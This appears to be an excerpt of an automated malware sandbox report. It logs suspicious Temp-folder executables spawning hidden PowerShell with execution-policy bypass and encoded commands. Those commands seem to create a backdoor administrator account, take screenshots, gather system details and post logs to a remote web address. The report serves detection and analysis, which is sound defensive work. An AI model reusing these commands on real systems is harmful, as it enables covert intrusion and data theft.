Source: C:\Windows\Temp\svczHost.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "powershell.exe" -nologo -noprofile -windowstyle hidden -executionpolicy bypass -encodedcommand jabvahmazqbyag4ayqbtaguaiaa9acaaigbvahmazqbyadeaiga7acqacab3agqaiaa9acaaigaxadiamwa0aduanga3adgaoqahaeeamqbhaciaowagacqavqbzaguacgbqageacgbhag0acwagad0aiabaahsajwboageabqblaccaiaa9acaajabvahmazqbyag4ayqbtaguaowagaccauabhahmacwb3ag8acgbkaccaiaa9acaakabdag8abgb2aguacgb0afqabwatafmazqbjahuacgblafmadabyagkabgbnacaalqbtahqacgbpag4azwagacqacab3agqaiaataeeacwbqagwayqbpag4avablahgadaagac0argbvahiaywblackaowagaccauabhahmacwb3ag8acgbkae4azqb2aguacgbfahgacabpahiazqbzaccaiaa9acaajab0ahiadqblah0aowboaguadwataewabwbjageababvahmazqbyacaaqabvahmazqbyafaayqbyageabqbzadsajabhahiabwb1ahaauabhahiayqbtahmaiaa9acaaqab7accarwbyag8adqbwaccaiaa9acaajwbbagqabqbpag4aaqbzahqacgbhahqabwbyahmajwa7acaajwbnaguabqbiaguacganacaapqagacqavqbzaguacgbuageabqblah0aowbbagqazaataewabwbjageababhahiabwb1ahaatqblag0aygblahiaiabaaecacgbvahuacabqageacgbhag0acwa7aa0acga=
Source: C:\Windows\Temp\myRdpService.exe	Process created: C:\Windows\System32\cmd.exe /c powershell.exe -w hidden -nologo -nop -ep bypass -encodedcommand qqbkagqalqbuahkacablacaalqbbahmacwblag0aygbsahkatgbhag0azqagafmaeqbzahqazqbtac4avwbpag4azabvahcacwauaeyabwbyag0acwa7acaawwbtahkacwb0aguabqauafcaaqbuagqabwb3ahmalgbgag8acgbtahmalgbtagmacgblaguabgbdadoaogbbagwababtagmacgblaguabgbzacaafaagaeyabwbyaeuayqbjaggalqbpagiaagblagmadaagahsaiaaiacqakaakaf8algbcag8adqbuagqacwauafcaaqbkahqaaaapahgajaaoacqaxwauaeiabwb1ag4azabzac4asablagkazwboahqakqaiacaafqagahwaiabpahuadaataeyaaqbsaguaiaataeyaaqbsaguauabhahqaaaagaciaqwa6afwavwbpag4azabvahcacwbcafqazqbtahaaxabkahaaiga=
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -w hidden -nologo -nop -ep bypass -encodedcommand qqbkagqalqbuahkacablacaalqbbahmacwblag0aygbsahkatgbhag0azqagafmaeqbzahqazqbtac4avwbpag4azabvahcacwauaeyabwbyag0acwa7acaawwbtahkacwb0aguabqauafcaaqbuagqabwb3ahmalgbgag8acgbtahmalgbtagmacgblaguabgbdadoaogbbagwababtagmacgblaguabgbzacaafaagaeyabwbyaeuayqbjaggalqbpagiaagblagmadaagahsaiaaiacqakaakaf8algbcag8adqbuagqacwauafcaaqbkahqaaaapahgajaaoacqaxwauaeiabwb1ag4azabzac4asablagkazwboahqakqaiacaafqagahwaiabpahuadaataeyaaqbsaguaiaataeyaaqbsaguauabhahqaaaagaciaqwa6afwavwbpag4azabvahcacwbcafqazqbtahaaxabkahaaiga=
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -windowstyle hidden -encodedcommand "uwb0ageacgb0ac0auabyag8aywblahmacwagahaabwb3aguacgbzaggazqbsagwaiaatafcaaqbuagqabwb3afmadab5agwazqagaggaaqbkagqazqbuacaalqbbahiazwb1ag0azqbuahqatabpahmadaagacialqbxagkabgbkag8adwbtahqaeqbsaguaiabiagkazabkaguabgaiacwaiaaiac0atgbvaewabwbnag8aigasacaaigatae4abwbqahiabwbmagkabablacialaagacialqbfahgazqbjahuadabpag8abgbqag8ababpagmaeqagaeiaeqbwageacwbzacialaagacialqbfag4aywbvagqazqbkaemabwbtag0ayqbuagqaiabtafeaqgbgaeeargbnaeeasqbbaeeabwbbaeyacwbbafyaqqbcaeyaqqbgagcaqqbwaeeaqqb1aeearqbvaeeavabnaeiaagbbaeuaoabbafiaqqbcahaaqqbfadqaqqbsahcaqgbkaeearabvaeeatwbnaeiavgbbaeyauqbbafiazwbbadqaqqbdadqaqqbsahcaqgbsaeeargbraeeavqb3aeiamabbaegasqbbafmauqbcae8aqqbhagmaqqblaeeaqqbvaeearqbraeeavgb3aeiaeqbbaemaqqbbaesaqqbcagiaqqbgae0aqqblafeaqgb6aeeasabraeeawgbraeiadabbaemanabbafyaqqbcagwaqqbiagcaqqbkaeeaqqb1aeearqbvaeeaygbnaeiaagbbaecaoabbafoaqqbcahaaqqbhadqaqqbaahcaqgbkaeearabvaeeatwbnaeiavgbbaeyauqbbafiazwbbadqaqqbdadqaqqbsahcaqgbsaeeasabraeeavqb3aeiamabbaegasqbbageauqbcahuaqqbhagmaqqblaeeaqgbiaeearqbnaeeaygb3aeiadqbbaegawqbbafoauqbcahkaqqbiafeaqqbyafeaqqa2aeearabvaeeaugbnaeiaeqbbaecaoabbagiauqbcaemaqqbhaeuaqqbjahcaqgbsaeearabzaeeatgbbaeiavabbaegauqbbagmazwbcahaaqqbhadqaqqbaahcaqqbvaeeaqwbjaeeawqbraeiasqbbaeyasqbbae0aqqbcagoaqqbfagcaqqbuafeaqqayaeearqb3aeeazqbraeeanqbbaecabwbbafkazwbbahkaqqbfadqaqqbkagcaqgbpaeeargbjaeeavgbnaeeadwbbaecarqbbafiadwbbaduaqqbhahmaqqbxagcaqgbuaeearabvaeeayqb3aeiayqbbaeyatqbbae8auqbcahqaqqbgagsaqqbhahcaqgb2aeearabfaeeavwbnaeiawqbbaecaywbbafaauqbbagkaqqbdagsaqqblafeaqqbwaeeaqwbraeeatabnaeiarabbaeuaoabbagiazwbcadaaqqbhafuaqqbiagcaqgawaeeaqwbraeeaswbraeeapqaiaa=="	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "c:\windows\system32\windowspowershell\v1.0\powershell.exe" -windowstyle hidden -nologo -noprofile -executionpolicy bypass -encodedcommand sqbfafgaiaaoafsavabfafgavaauaeuatgbjae8arabpae4arwbdadoaogbvafqarga4ac4arwblafqauwb0ahiasqboagcakaaoaekavwbyacaakabbafmaeqbzahqazqbtac4avablahgadaauaeuabgbjag8azabpag4azwbdadoaogbvafqarga4ac4arwblahqauwb0ahiaaqbuagcakabbaemabwbuahyazqbyahqaxqa6adoargbyag8abqbcageacwbladyanabtahqacgbpag4azwaoaciayqbiafiamabjaegatqa2aewaeqa5agoaygayae4adgbiafcavgawagearwa5agsawgbtaduaawbaafmaoqbtafkaawbvadeawgbyagcapqaiackakqapackalgbdae8abgb0aguabgb0ackakqa=	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\cmd.exe "c:\windows\system32\cmd.exe" /c start /min "" powershell.exe -windowstyle hidden -nologo -noprofile -executionpolicy bypass -encodedcommand jab1ahiaaqagad0aiaaiaggadab0ahaacwa6ac8alwbjag8aywbvag0azqb0aggabwbkagualgbkagualwbmagkababladialwa1ageamaa0adcamqbladcaoqa2adcangbmadyaoqa2adaazgayadyaoabhagqazga0admamqa2adqaywbiadgazgbjadganabkagmazqa4adaamaa3ageamga0ageaoabjadkaygbjagyangbhagmazgawaduaywayagyanaazagyamqblaguanqaxadgamqbmagmanwayaguanqbladgayqazageazga1agqazqa4adqayqayaguazgbkagyanaa2aduanqa2agmazqa0agiamqa4agyaoqbhadkamaa1adgazgawadiaygbhaguazqbiagiayqa0adcaoqa1adcazgbmadkayqawadaazgbkadmaywbiagqazga1ageazgbkagianaa1aduanablagyaoqa1agqamqa1adyaygbkaguamqa1admayqa0adeamga4admamwazaguamqaxadgazqbhadqanwbkadeazqa3adyanqbiagqamaa0adiayqbkadqazgbladaaywbladcanaayagiamqaxadqazabmadiamgayaduazabladuamga1adkazaazadkamgazadaaiga7aa0acgakagmabwb1ag4adaagad0aiaaxadaamaa7aa0acganaaoadqakaa0acgbmahuabgbjahqaaqbvag4aiabtaguabgbkacaaewanaaoaiaagacaaiabwageacgbhag0akaagafsauabtae8aygbqaguaywb0af0aiaakagwabwbnae0acwbnacaakqanaaoadqakacaaiaagacaaiwagaemabwbuahyazqbyahqaiabiag8azab5acaadabvacaacwb0ahiaaqbuagcadqakacaaiaagacaajabzahqacgbpag4azwbcag8azab5acaapqagafsacwb0ahiaaqbuagcaxqaoacqababvagcatqbzagcaiab8acaaqwbvag4adgblahiadabuag8alqbkahmabwbuackaowanaaoaiaagacaaiaakagwabwbnae0azqbzahmayqbnaguacwagad0aiabaacgakqa7aa0acgagacaaiaagacqababvagcatqblahmacwbhagcazqbzacaakwa9acaajabzahqacgbpag4azwbcag8azab5adsadqakacaaiaagacaajabsag8azwbnaguacwbzageazwblahmaiaarad0aiaaiac0alqatac0alqatac0alqatac0aiga7aa0acganaaoaiaagacaaiaakaggazqbhagqazqbyahmaiaa9acaaqab7ah0aowanaaoaiaagacaaiaakagsazqb5acaapqagaciaqwbvag4adablag4adaatafqaeqbwaguaiga7aa0acgagacaaiaagacqadgbhagwadqblacaapqagaciayqbwahaababpagmayqb0agkabwbuac8aagbzag8abgaiadsadqakaa0acgagacaaiaagacqaaablageazablahiacwbbacqaawblahkaxqagad0aiaakahyayqbsahuazqa7aa0acgagacaaiaagacqadqbyagkaiaa9acaaigbmae8arwbvafiataaiadsadqakacaaiaagacaadabyahkadqakacaaiaagacaaiaagacaaiab7aa0acgagacaaiaagacaaiaagacaaiaagacaaiaakagiabwbkahkaiaa9acaajabsag8azwbnaguacwbzageazwblahmaiab8acaaqwbvag4adgblahiadabuag8alqbkahmabwbuadsadqakacaaiaagacaaiaagacaaiaagacaaiaagaekabgb2ag8aawblac0avwblagiaugblaheadqblahmadaagac0avqbyagkaiaakahuacgbpacaalqbnaguadaboag8azaagafaabwbzahqaiaataegazqbhagqazqbyahmaiaakaggazqbhagqazqbyahmaiaataeiabwbkahkaiaakagiabwbkahkadqakacaaiaagacaaiaagacaaiab9aa0acgagacaaiaagacaaiaagacaaywbhahqaywboahsadqakacaaiaagacaaiaagacaaiaagacaaiaagaa0acgagacaaiaagacaaiaagacaafqanaaoaiaagacaaiaanaaoafqanaaoadqakahcaaabpagwazqaoacqaywbvahuabgb0acaalqbnahqaiaawackadqakahsadqakaakadqakaakadabyahkaewanaaoaiaagacaaiaagacaaiaagafmazqbuagqaiaaiagiazqbnagkabgagagqabwb3ag4ababvageazaagacqadqbyagkaiga7aa0acgajaakajabjag8abgb0aguabgb0acaapqagaekabgb2ag8aawblac0avwblagiaugblaheadqblahmadaagac0avqbyagkaiaakahuacgbpacaalqbvahmazqbcageacwbpagmauabhahiacwbpag4azwa7aa0acgagacaaiaagacaaiaagacaajabiahkadablaeeacgbyageaeqagad0aiaakagmabwbuahqazqbuahqalgbjag8abgb0aguabgb0adsadqakacaaiaagacaaiaagacaaiabmag8acgagacgajabpac	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -windowstyle hidden -nologo -noprofile -executionpolicy bypass -encodedcommand jab1ahiaaqagad0aiaaiaggadab0ahaacwa6ac8alwbjag8aywbvag0azqb0aggabwbkagualgbkagualwbmagkababladialwa1ageamaa0adcamqbladcaoqa2adcangbmadyaoqa2adaazgayadyaoabhagqazga0admamqa2adqaywbiadgazgbjadganabkagmazqa4adaamaa3ageamga0ageaoabjadkaygbjagyangbhagmazgawaduaywayagyanaazagyamqblaguanqaxadgamqbmagmanwayaguanqbladgayqazageazga1agqazqa4adqayqayaguazgbkagyanaa2aduanqa2agmazqa0agiamqa4agyaoqbhadkamaa1adgazgawadiaygbhaguazqbiagiayqa0adcaoqa1adcazgbmadkayqawadaazgbkadmaywbiagqazga1ageazgbkagianaa1aduanablagyaoqa1agqamqa1adyaygbkaguamqa1admayqa0adeamga4admamwazaguamqaxadgazqbhadqanwbkadeazqa3adyanqbiagqamaa0adiayqbkadqazgbladaaywbladcanaayagiamqaxadqazabmadiamgayaduazabladuamga1adkazaazadkamgazadaaiga7aa0acgakagmabwb1ag4adaagad0aiaaxadaamaa7aa0acganaaoadqakaa0acgbmahuabgbjahqaaqbvag4aiabtaguabgbkacaaewanaaoaiaagacaaiabwageacgbhag0akaagafsauabtae8aygbqaguaywb0af0aiaakagwabwbnae0acwbnacaakqanaaoadqakacaaiaagacaaiwagaemabwbuahyazqbyahqaiabiag8azab5acaadabvacaacwb0ahiaaqbuagcadqakacaaiaagacaajabzahqacgbpag4azwbcag8azab5acaapqagafsacwb0ahiaaqbuagcaxqaoacqababvagcatqbzagcaiab8acaaqwbvag4adgblahiadabuag8alqbkahmabwbuackaowanaaoaiaagacaaiaakagwabwbnae0azqbzahmayqbnaguacwagad0aiabaacgakqa7aa0acgagacaaiaagacqababvagcatqblahmacwbhagcazqbzacaakwa9acaajabzahqacgbpag4azwbcag8azab5adsadqakacaaiaagacaajabsag8azwbnaguacwbzageazwblahmaiaarad0aiaaiac0alqatac0alqatac0alqatac0aiga7aa0acganaaoaiaagacaaiaakaggazqbhagqazqbyahmaiaa9acaaqab7ah0aowanaaoaiaagacaaiaakagsazqb5acaapqagaciaqwbvag4adablag4adaatafqaeqbwaguaiga7aa0acgagacaaiaagacqadgbhagwadqblacaapqagaciayqbwahaababpagmayqb0agkabwbuac8aagbzag8abgaiadsadqakaa0acgagacaaiaagacqaaablageazablahiacwbbacqaawblahkaxqagad0aiaakahyayqbsahuazqa7aa0acgagacaaiaagacqadqbyagkaiaa9acaaigbmae8arwbvafiataaiadsadqakacaaiaagacaadabyahkadqakacaaiaagacaaiaagacaaiab7aa0acgagacaaiaagacaaiaagacaaiaagacaaiaakagiabwbkahkaiaa9acaajabsag8azwbnaguacwbzageazwblahmaiab8acaaqwbvag4adgblahiadabuag8alqbkahmabwbuadsadqakacaaiaagacaaiaagacaaiaagacaaiaagaekabgb2ag8aawblac0avwblagiaugblaheadqblahmadaagac0avqbyagkaiaakahuacgbpacaalqbnaguadaboag8azaagafaabwbzahqaiaataegazqbhagqazqbyahmaiaakaggazqbhagqazqbyahmaiaataeiabwbkahkaiaakagiabwbkahkadqakacaaiaagacaaiaagacaaiab9aa0acgagacaaiaagacaaiaagacaaywbhahqaywboahsadqakacaaiaagacaaiaagacaaiaagacaaiaagaa0acgagacaaiaagacaaiaagacaafqanaaoaiaagacaaiaanaaoafqanaaoadqakahcaaabpagwazqaoacqaywbvahuabgb0acaalqbnahqaiaawackadqakahsadqakaakadqakaakadabyahkaewanaaoaiaagacaaiaagacaaiaagafmazqbuagqaiaaiagiazqbnagkabgagagqabwb3ag4ababvageazaagacqadqbyagkaiga7aa0acgajaakajabjag8abgb0aguabgb0acaapqagaekabgb2ag8aawblac0avwblagiaugblaheadqblahmadaagac0avqbyagkaiaakahuacgbpacaalqbvahmazqbcageacwbpagmauabhahiacwbpag4azwa7aa0acgagacaaiaagacaaiaagacaajabiahkadablaeeacgbyageaeqagad0aiaakagmabwbuahqazqbuahqalgbjag8abgb0aguabgb0adsadqakacaaiaagacaaiaagacaaiabmag8acgagacgajabpacaapqagadaaowagac
Source: C:\Windows\Temp\svczHost.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "powershell.exe" -nologo -noprofile -windowstyle hidden -executionpolicy bypass -encodedcommand zgb1ag4aywb0agkabwbuacaarwblahqalqbjagqazqbuahqaaqb0ahkaewakacaaiaagacaajaboageacgbkaeqacgbpahyazqbzacaapqagaecazqb0ac0avwbtagkatwbiagoazqbjahqaiaataemababhahmacwagafcaaqbuadmamgbfaeqaaqbzagsarabyagkadgblacaafaagafcaaablahiazqatae8aygbqaguaywb0acaaewagacqaxwauae0azqbkagkayqbuahkacablacaalqblaheaiaaiaeyaaqb4aguazaagaggayqbyagqaiabkagkacwbracaabqblagqaaqbhaciaiaatag8acgagacqaxwauae0azqbkagkayqbuahkacablacaalqblaheaiaaiaeyaaqb4aguazaagaggayqbyagqaiabkagkacwbracaabqblagqaaqbhacaalqagafmauwbeaciaiab9aaoajabkahiaaqb2aguasqbuagyabwbbahiacgbhahkaiaa9acaaqaaoackacgbmag8acgblageaywboacaakaakaggayqbyagqarabyagkadgblacaaaqbuacaajaboageacgbkaeqacgbpahyazqbzackaiab7aaoaiaagacaaiaakahmazqbyagkayqbsae4adqbtagiazqbyacaapqagacqaaabhahiazabeahiaaqb2agualgbtaguacgbpageababoahuabqbiaguacgakacaaiaagacaajabtag8azablagwaiaa9acaajaboageacgbkaeqacgbpahyazqauae0abwbkaguabaakacaaiaagacaajabkahiaaqb2aguasqbuagyabwagad0aiaaiafmazqbyagkayqbsacaatgb1ag0aygblahiaogagacqacwblahiaaqbhagwatgb1ag0aygblahialaagae0abwbkaguabaa6acaajabtag8azablagwaigakacaaiaagacaajabkahiaaqb2aguasqbuagyabwbbahiacgbhahkaiaarad0aiaakagqacgbpahyazqbjag4azgbvaaoafqakacqaywbvag0aygbpag4azqbkaekabgbmag8aiaa9acaajabkahiaaqb2aguasqbuagyabwbbahiacgbhahkaiaatagoabwbpag4aiaaiagaacgbgag4aigakacqaywbwahuasqbuagyabwagad0aiabhaguadaatafcabqbpae8aygbqaguaywb0acaalqbdagwayqbzahmaiabxagkabgazadiaxwbqahiabwbjaguacwbzag8acgakacqaywbwahuarablahqayqbpagwacwagad0aiaaiafaacgbvagmazqbzahmabwbyaekazaa6acaajaaoacqaywbwahuasqbuagyabwauafaacgbvagmazqbzahmabwbyaekazaapacwaiaboageabqbladoaiaakacgajabjahaadqbjag4azgbvac4atgbhag0azqapacwaiabnageaeabdagwabwbjagsauwbwaguazqbkadoaiaakacgajabjahaadqbjag4azgbvac4atqbhahgaqwbsag8aywbrafmacablaguazaapacwaiabvag4aaqbxahuazqbjagqaogagacqakaakagmacab1aekabgbmag8algbvag4aaqbxahuazqbjagqakqaiaaoajabhagwababjag4azgbvacaapqagaciajabjag8abqbiagkabgblagqasqbuagyabwbgahiayabuacqaywbwahuarablahqayqbpagwacwaiaaoajabtagqanqagad0aiaboaguadwatae8aygbqaguaywb0acaauwb5ahmadablag0algbtaguaywb1ahiaaqb0ahkalgbdahiaeqbwahqabwbnahiayqbwaggaeqauae0araa1aemacgb5ahaadabvafmazqbyahyaaqbjaguauabyag8adgbpagqazqbyaaoajabiahkadablahmaiaa9acaawwbtahkacwb0aguabqauafqazqb4ahqalgbfag4aywbvagqaaqbuagcaxqa6adoavqbuaeyaoaauaecazqb0aeiaeqb0aguacwaoacqayqbsagwasqbuagyabwapaaoajaboageacwboaeiaeqb0aguacwagad0aiaakag0azaa1ac4aqwbvag0acab1ahqazqbiageacwboacgajabiahkadablahmakqakacqaaabhahmaaaagad0aiabbaeiaaqb0aemabwbuahyazqbyahqazqbyaf0aoga6afqabwbtahqacgbpag4azwaoacqaaabhahmaaabcahkadablahmakqagac0acgblahaababhagmazqagaccalqanaaoaiaagacaaiabyaguadab1ahiabgagacqaaabhahmaaaa7aaoafqakagmazaagaciaqwa6afwavwbpag4azabvahcacwbcafqazqbtahaaiga7aaoajab0aguacwb0acaapqagaecazqb0ac0asqbkaguabgb0agkadab5adsacgakahqazqbzahqaiab8acaatwb1ahqalqbgagkabablacaalqbgagkabablafaayqb0aggaiaaiagqazqb2agkaywblaekazaauahqaeab0aciaiaataeuabgbjag8azabpag4azwagafuavabgadga
Source: C:\Windows\Temp\svczHost.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "powershell.exe" -nologo -noprofile -windowstyle hidden -executionpolicy bypass -encodedcommand jabvahmazqbyag4ayqbtaguaiaa9acaaigbvahmazqbyadeaiga7acqacab3agqaiaa9acaaigaxadiamwa0aduanga3adgaoqahaeeamqbhaciaowagacqavqbzaguacgbqageacgbhag0acwagad0aiabaahsajwboageabqblaccaiaa9acaajabvahmazqbyag4ayqbtaguaowagaccauabhahmacwb3ag8acgbkaccaiaa9acaakabdag8abgb2aguacgb0afqabwatafmazqbjahuacgblafmadabyagkabgbnacaalqbtahqacgbpag4azwagacqacab3agqaiaataeeacwbqagwayqbpag4avablahgadaagac0argbvahiaywblackaowagaccauabhahmacwb3ag8acgbkae4azqb2aguacgbfahgacabpahiazqbzaccaiaa9acaajab0ahiadqblah0aowboaguadwataewabwbjageababvahmazqbyacaaqabvahmazqbyafaayqbyageabqbzadsajabhahiabwb1ahaauabhahiayqbtahmaiaa9acaaqab7accarwbyag8adqbwaccaiaa9acaajwbbagqabqbpag4aaqbzahqacgbhahqabwbyahmajwa7acaajwbnaguabqbiaguacganacaapqagacqavqbzaguacgbuageabqblah0aowbbagqazaataewabwbjageababhahiabwb1ahaatqblag0aygblahiaiabaaecacgbvahuacabqageacgbhag0acwa7aa0acga=
Source: C:\Windows\Temp\myRdpService.exe	Process created: C:\Windows\System32\cmd.exe /c powershell.exe -w hidden -nologo -nop -ep bypass -encodedcommand qqbkagqalqbuahkacablacaalqbbahmacwblag0aygbsahkatgbhag0azqagafmaeqbzahqazqbtac4avwbpag4azabvahcacwauaeyabwbyag0acwa7acaawwbtahkacwb0aguabqauafcaaqbuagqabwb3ahmalgbgag8acgbtahmalgbtagmacgblaguabgbdadoaogbbagwababtagmacgblaguabgbzacaafaagaeyabwbyaeuayqbjaggalqbpagiaagblagmadaagahsaiaaiacqakaakaf8algbcag8adqbuagqacwauafcaaqbkahqaaaapahgajaaoacqaxwauaeiabwb1ag4azabzac4asablagkazwboahqakqaiacaafqagahwaiabpahuadaataeyaaqbsaguaiaataeyaaqbsaguauabhahqaaaagaciaqwa6afwavwbpag4azabvahcacwbcafqazqbtahaaxabkahaaiga=
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -w hidden -nologo -nop -ep bypass -encodedcommand qqbkagqalqbuahkacablacaalqbbahmacwblag0aygbsahkatgbhag0azqagafmaeqbzahqazqbtac4avwbpag4azabvahcacwauaeyabwbyag0acwa7acaawwbtahkacwb0aguabqauafcaaqbuagqabwb3ahmalgbgag8acgbtahmalgbtagmacgblaguabgbdadoaogbbagwababtagmacgblaguabgbzacaafaagaeyabwbyaeuayqbjaggalqbpagiaagblagmadaagahsaiaaiacqakaakaf8algbcag8adqbuagqacwauafcaaqbkahqaaaapahgajaaoacqaxwauaeiabwb1ag4azabzac4asablagkazwboahqakqaiacaafqagahwaiabpahuadaataeyaaqbsaguaiaataeyaaqbsaguauabhahqaaaagaciaqwa6afwavwbpag4azabvahcacwbcafqazqbtahaaxabkahaaiga=

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0213~31bf3856ad364e35~amd64~~10.0.19041.1151.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0213~31bf3856ad364e35~amd64~~10.0.19041.1151.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0213~31bf3856ad364e35~amd64~~10.0.19041.1151.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0213~31bf3856ad364e35~amd64~~10.0.19041.1151.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0213~31bf3856ad364e35~amd64~~10.0.19041.1151.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0213~31bf3856ad364e35~amd64~~10.0.19041.1151.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0213~31bf3856ad364e35~amd64~~10.0.19041.1151.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0213~31bf3856ad364e35~amd64~~10.0.19041.1151.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0213~31bf3856ad364e35~amd64~~10.0.19041.1151.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\assembly\GAC\Microsoft.mshtml\7.0.3300.0__b03f5f7f11d50a3a\Microsoft.mshtml.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0213~31bf3856ad364e35~amd64~~10.0.19041.1151.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-GroupPolicy-ClientTools-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.746.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-AppManagement-AppV-Package~31bf3856ad364e35~amd64~~10.0.19041.1151.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\WindowsPowerShell\v1.0\Modules\AppvClient\Microsoft.AppV.AppVClientPowerShell.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1151.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-Package~31bf3856ad364e35~amd64~en-GB~10.0.19041.1151.cat VolumeInformation	Jump to behavior
